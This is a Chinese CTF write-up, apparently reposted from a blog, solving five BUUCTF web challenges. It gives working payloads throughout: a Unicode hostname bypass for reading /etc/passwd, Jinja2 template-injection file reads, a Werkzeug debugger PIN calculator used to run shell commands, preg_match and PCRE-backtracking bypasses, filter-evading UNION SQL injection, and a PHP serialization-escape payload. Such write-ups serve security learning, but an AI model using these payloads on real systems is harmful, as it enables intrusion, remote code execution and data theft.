BUUCTF-WEB(61-65)
Pythonginx参考:[SUCTF 2019]Pythonginx 1_cve-2019-9636-CSDN博客
[SUCTF 2019]Pythonginx - 春告鳥 - 博客园 (cnblogs.com)
url中的unicode漏洞引发的域名安全问题 - 先知社区 (aliyun.com)
打开看一下源代码吧
@app.route('/getUrl', methods=['GET', 'POST'])
def getUrl():
url = request.args.get("url")
host = parse.urlparse(url).hostname
if host == 'suctf.cc':
return "我扌 your problem? 111"
parts = list(urlsplit(url))
host = parts
if host == 'suctf.cc':
return "我扌 your problem? 222 " + host
newhost = []
for h in host.split('.'):
newhost.append(h.encode('idna').decode('utf-8'))
parts = '.'.join(newhost)
#去掉 url 中的空格
finalUrl = urlunsplit(parts).split(' ')
host = parse.urlparse(finalUrl).hostname
if host == 'suctf.cc':
return urllib.request.urlopen(finalUrl).read()
else:
return "我扌 your problem? 333"我们应该绕过前面两个if,进入第三个if,然后去读取文件
然后就是利用了特殊字符去进行绕过,详情可以看一下参考的链接、
需要构造一个特殊字符,师傅的脚本内里也都有。
先查看一下passwd的文件
/getUrl?url=file://suctf.cℂ/../../../../../etc/passwdhttps://img2023.cnblogs.com/blog/3439569/202406/3439569-20240604121706200-580856316.png
然后提示是nginx服务器,我们查看一下nginx服务器的配置文件,然后查看到了flag文件
/getUrl?url=file://suctf.cℂ/../../../../../usr/local/nginx/conf/nginx.confhttps://img2023.cnblogs.com/blog/3439569/202406/3439569-20240604121705449-97476973.png
/getUrl?url=file://suctf.cℂ/../../../../../usr/fffffflaghttps://img2023.cnblogs.com/blog/3439569/202406/3439569-20240604121704955-675726493.png
FlaskApp
参考:
[记一次Flask模板注入学习 GYCTF2020]FlaskApp - seven昔年 - 博客园 (cnblogs.com)
一般看到都觉得是模板注入,因为她有base64解密页面,那我们就在base64解密页面搞
我们输入payload,记得base64加密一下
{{7*7}}
e3s3Kjd9fQ==这里回显了
https://img2023.cnblogs.com/blog/3439569/202406/3439569-20240604121704547-2044868753.png
猜测可能是waf阻拦了,我们换一个
{{7+7}}
e3s3Kzd9fQ==https://img2023.cnblogs.com/blog/3439569/202406/3439569-20240604121704169-1283025630.png
回显14,那就是flask的模板注入问题
然后我就想看一下基类下面的类,但是我发现没回显,我也不太清楚,ssti也是不太熟悉
{{''.__class__.__bases__.__subclasses__()}}
e3snJy5fX2NsYXNzX18uX19iYXNlc19fWzBdLl9fc3ViY2xhc3Nlc19fKCl9fQ==这里没有回显我就开始参考师傅们的博客了
hint里发现
https://img2023.cnblogs.com/blog/3439569/202406/3439569-20240604121703800-1202386322.png
这里是构造了读取文件的payload
{{().__class__.__bases__.__subclasses__().__init__.__globals__.__builtins__['open']('/etc/passwd').read()}}
e3soKS5fX2NsYXNzX18uX19iYXNlc19fWzBdLl9fc3ViY2xhc3Nlc19fKClbNzVdLl9faW5pdF9fLl9fZ2xvYmFsc19fLl9fYnVpbHRpbnNfX1snb3BlbiddKCcvZXRjL3Bhc3N3ZCcpLnJlYWQoKX19https://img2023.cnblogs.com/blog/3439569/202406/3439569-20240604121703365-64264630.png
然后的确可以读取之后,不知道flag在哪,所以要通过获取pin码打开python shell
可以先相识一下pin吧深入浅出Flask PIN - 蚁景网安实行室 - SegmentFault 思否
关于ctf中flask算pin总结_ctf:flask-CSDN博客
pin码生成要六要素
1.username 在可以任意文件读的条件下读 /etc/passwd进行猜测
2.modname 默认flask.app
3.appname 默认Flask
4.moddir flask库下app.py的绝对路径,可以通过报错拿到,如传参的时候给个不存在的变量
5.uuidnode mac地址的十进制,任意文件读 /sys/class/net/eth0/address
6.machine_id 机器码 这个待会细说,一般就生成pin码不对就是这错了
————————————————
原文链接:https://blog.csdn.net/qq_35782055/article/details/129126825这里username应该就是flaskweb
然后modname是flask.app
然后appname是Flask
接下来拿moddir,通过报错注入得到,我们在解密页面输入不是base64加密的数据去解密,就会产生报错
发生报错后,发现了app.py的路径
https://img2023.cnblogs.com/blog/3439569/202406/3439569-20240604121702700-754069937.png
/usr/local/lib/python3.7/site-packages/flask/app.py然后读取/sys/class/net/eth0/address
{{().__class__.__bases__.__subclasses__().__init__.__globals__.__builtins__['open']('/sys/class/net/eth0/address').read()}}
e3soKS5fX2NsYXNzX18uX19iYXNlc19fWzBdLl9fc3ViY2xhc3Nlc19fKClbNzVdLl9faW5pdF9fLl9fZ2xvYmFsc19fLl9fYnVpbHRpbnNfX1snb3BlbiddKCcvc3lzL2NsYXNzL25ldC9ldGgwL2FkZHJlc3MnKS5yZWFkKCl9fQ==https://img2023.cnblogs.com/blog/3439569/202406/3439569-20240604121702230-1283182800.png
得到uuidnode是 e2:32:31:55:37:09,转为十进制262220831274775
https://img2023.cnblogs.com/blog/3439569/202406/3439569-20240604121701798-328198521.png
现在就只差这个machineid,对于非docker机每一个呆板都会有自已唯一的id,linux的id一般存放在/etc/machine-id或/proc/sys/kernel/random/boot_i,有的系统没有这两个文件,windows的id获取跟linux也不同。
对于docker机则读取/proc/self/cgroup:
我们获取一下machineid
{{().__class__.__bases__.__subclasses__().__init__.__globals__.__builtins__['open']('/etc/machine-id').read()}}
e3soKS5fX2NsYXNzX18uX19iYXNlc19fWzBdLl9fc3ViY2xhc3Nlc19fKClbNzVdLl9faW5pdF9fLl9fZ2xvYmFsc19fLl9fYnVpbHRpbnNfX1snb3BlbiddKCcvZXRjL21hY2hpbmUtaWQnKS5yZWFkKCl9fQ==然后得到machineid是1408f836b0ca514d796cbf8960e45fa1
https://img2023.cnblogs.com/blog/3439569/202406/3439569-20240604121701073-1126800095.png
开始使用计算pin的脚本
import hashlib
from itertools import chain
probably_public_bits = [
'flaskweb',
'flask.app',
'Flask',
'/usr/local/lib/python3.7/site-packages/flask/app.py',
]
private_bits = [
'262220831274775',
'1408f836b0ca514d796cbf8960e45fa1'
]
h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv =None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num.rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
print(rv)算出的pin
111-678-665然后在/console打开控制台输入pin值,进入交互式,输入
import os
os.popen('ls /').read()
os.popen('cat /this_is_the_flag.txt').read()https://img2023.cnblogs.com/blog/3439569/202406/3439569-20240604121700707-206615934.png
得到flag
flag{7c2ab388-06a5-44e8-9a31-c5cf028ef033}RCEService
参考:
FBCTF2019]RCEService - AW_SOLE - 博客园 (cnblogs.com)
preg_match绕过方法总结 · HacKerQWQ's Studio
PHP利用PCRE回溯次数限定绕过某些安全限定 | 告别歌 (leavesongs.com)
打开题目说是json格式,我们应该payload写成json格式
https://img2023.cnblogs.com/blog/3439569/202406/3439569-20240604121700223-1070535083.png
我们实行一下
{"cmd":"ls"}代码的确实行成功
https://img2023.cnblogs.com/blog/3439569/202406/3439569-20240604121659817-253359050.png
然后这里贴一下源码吧
他这里是修改了情况变量了,修改至/home/rceservice/jail,所以只能使用绝对路径使用cat命令
然后preg_match只会匹配第一行,我们可以绕过preg_match绕过简朴总结 - z2n3 - 博客园 (cnblogs.com)
看一下目录文件
?cmd={%0A"cmd":"ls /home/rceservice"%0A}https://img2023.cnblogs.com/blog/3439569/202406/3439569-20240604121659315-1008603027.png
然后查看flag
?cmd={%0A"cmd":"/bin/cat /home/rceservice/flag"%0A}https://img2023.cnblogs.com/blog/3439569/202406/3439569-20240604121658783-2098811089.png
这边还有佬用PCRE回溯限定,附上脚本
import requests
payload = '{"cmd":"/bin/cat /home/rceservice/flag","test":"'+"a"*(1000000) + '"}'
res = requests.post("http://e54bd70b-4ae8-4a5c-acbc-3b334763dc38.node5.buuoj.cn:81/", data={"cmd":payload})
print(payload)
print(res.text)https://img2023.cnblogs.com/blog/3439569/202406/3439569-20240604121658332-457729485.png
颜值成绩查询
输入
1回显100
https://img2023.cnblogs.com/blog/3439569/202406/3439569-20240604121656554-263178118.png
后面输入
1 and 1=1https://img2023.cnblogs.com/blog/3439569/202406/3439569-20240604121653245-605041079.png
后面发现是过滤了空格,我们用/**/测试一下
1/**/and/**/1=1https://img2023.cnblogs.com/blog/3439569/202406/3439569-20240604121652670-1427010961.png
然后
1/**/and/**/1=2https://img2023.cnblogs.com/blog/3439569/202406/3439569-20240604121651819-2033364946.png
然后判断字段数
1/**/order/**/by/**/3 // 回显正常
1/**/order/**/by/**/4 // 回显错误所以字段数为3,开始判断一下回显位置
-1/**/union/**/select/**/1,2,3提示不存在,可能还有些被过滤了一些关键词
https://img2023.cnblogs.com/blog/3439569/202406/3439569-20240604121650873-1061942855.png
我们试试大小写绕过
-1/**/Union/**/Select/**/1,2,3https://img2023.cnblogs.com/blog/3439569/202406/3439569-20240604121650021-2043519903.png
接下来爆数据库名:
-1/**/Union/**/Select/**/1,2,database()https://img2023.cnblogs.com/blog/3439569/202406/3439569-20240604121648832-1874815642.png
爆表名:
-1/**/Union/**/Select/**/1,2,Group_concat(table_name)From/**/information_schema.tables/**/Where/**/table_schema='ctf'https://img2023.cnblogs.com/blog/3439569/202406/3439569-20240604121647764-820850892.png
爆列名
-1/**/Union/**/Select/**/1,2,Group_concat(column_name)From/**/information_schema.columns/**/Where/**/table_schema='ctf'/**/and/**/table_name='flag'https://img2023.cnblogs.com/blog/3439569/202406/3439569-20240604121639866-1727361416.png
爆数据
-1/**/Union/**/Select/**/1,2,value/**/From/**/flaghttps://img2023.cnblogs.com/blog/3439569/202406/3439569-20240604121638867-619134381.png
1 And Extractvalue(1,Concat(0x7e,(Select database()),0x7e))piapiapia
参考:
[0CTF 2016]piapiapia WP(详细)_piapiapia wp-CSDN博客
0ctf 2016]piapiapia 1-CSDN博客
先实行了sql注入,都失败了
没思路了扫一扫吧,我这边什么都没扫到,根据wp是扫到了
config.php index.php register.php后面有发现是www.zip,源码泄漏
config.php
https://img2023.cnblogs.com/blog/3439569/202406/3439569-20240604121637863-1432873884.png
profile.phphttps://img2023.cnblogs.com/blog/3439569/202406/3439569-20240604121637283-1137454377.png
update.phphttps://img2023.cnblogs.com/blog/3439569/202406/3439569-20240604121636006-84693373.png
class.php
https://img2023.cnblogs.com/blog/3439569/202406/3439569-20240604121634915-1709621451.png
开始梳理可能存在漏洞的地方
在profile.php发现file_get_contents,可以进行文件读取
https://img2023.cnblogs.com/blog/3439569/202406/3439569-20240604121634088-2144573082.png
那profile又是那里来的呢,他是有class.php里user类的show_profile的这个方法
https://img2023.cnblogs.com/blog/3439569/202406/3439569-20240604121633640-102915560.png
https://img2023.cnblogs.com/blog/3439569/202406/3439569-20240604121633228-593766873.png
这个方法先调用了user类的父类mysql类内里的filter类
https://img2023.cnblogs.com/blog/3439569/202406/3439569-20240604121632590-1635219872.png
这里是更换字符串中的单引号和反斜杠为下划线 ,并且更换多个字符串为hacker。
implode函数是表示把数组拼接起来,拼接符是 “|”
之后又调用了mysql类内里的select方法
https://img2023.cnblogs.com/blog/3439569/202406/3439569-20240604121632006-1484676085.png
数据是从数据库的表出来的,看看那里进行插入数据,在mysql类内里的update方法
https://img2023.cnblogs.com/blog/3439569/202406/3439569-20240604121631529-457810582.png
然后user类发现了这个方法的调用
https://img2023.cnblogs.com/blog/3439569/202406/3439569-20240604121631010-1232626898.png
接下来再看谁调用了user类内里的update_profile这个方法,在update.php找到
https://img2023.cnblogs.com/blog/3439569/202406/3439569-20240604121630480-332970604.png
同时也看出来profile的值都有post赋值而来
这里开始分析,怎么利用漏洞
我们可以看到先判断了photo的大小,然后进行了md5加密,太难利用了
https://img2023.cnblogs.com/blog/3439569/202406/3439569-20240604121629845-1701828885.png
我们再看一下nickname这个参数
https://img2023.cnblogs.com/blog/3439569/202406/3439569-20240604121629191-1256817373.png
又在update.php有一个正则限定
https://img2023.cnblogs.com/blog/3439569/202406/3439569-20240604121628255-996664696.png
然后就用数组进行一个绕过
但是数组绕过我,我们需要添加上一个}
nickname[]=where";}s:5:"photo";s:10:"config.php";}https://img2023.cnblogs.com/blog/3439569/202406/3439569-20240604121627648-1371807707.png
这个时候,我们的nickname[]数组实际长度是39位,除了where,多出来了34位,所以我们需要用where构造34次,来补一下
末了的payload
wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}分析完毕后,我们去注册页面创一个号
https://img2023.cnblogs.com/blog/3439569/202406/3439569-20240604121626970-1739119819.png
然后登陆进去,上传的时候抓包
https://img2023.cnblogs.com/blog/3439569/202406/3439569-20240604121626391-1436028202.png
修改一下
wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}https://img2023.cnblogs.com/blog/3439569/202406/3439569-20240604121625685-1603716942.png
然后会有个链接,点击,查看源码,有一堆base64加密的数据
https://img2023.cnblogs.com/blog/3439569/202406/3439569-20240604121625050-227633776.png
我们拿去解密,得到flag
https://img2023.cnblogs.com/blog/3439569/202406/3439569-20240604121624139-305690965.png
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。
页:
[1]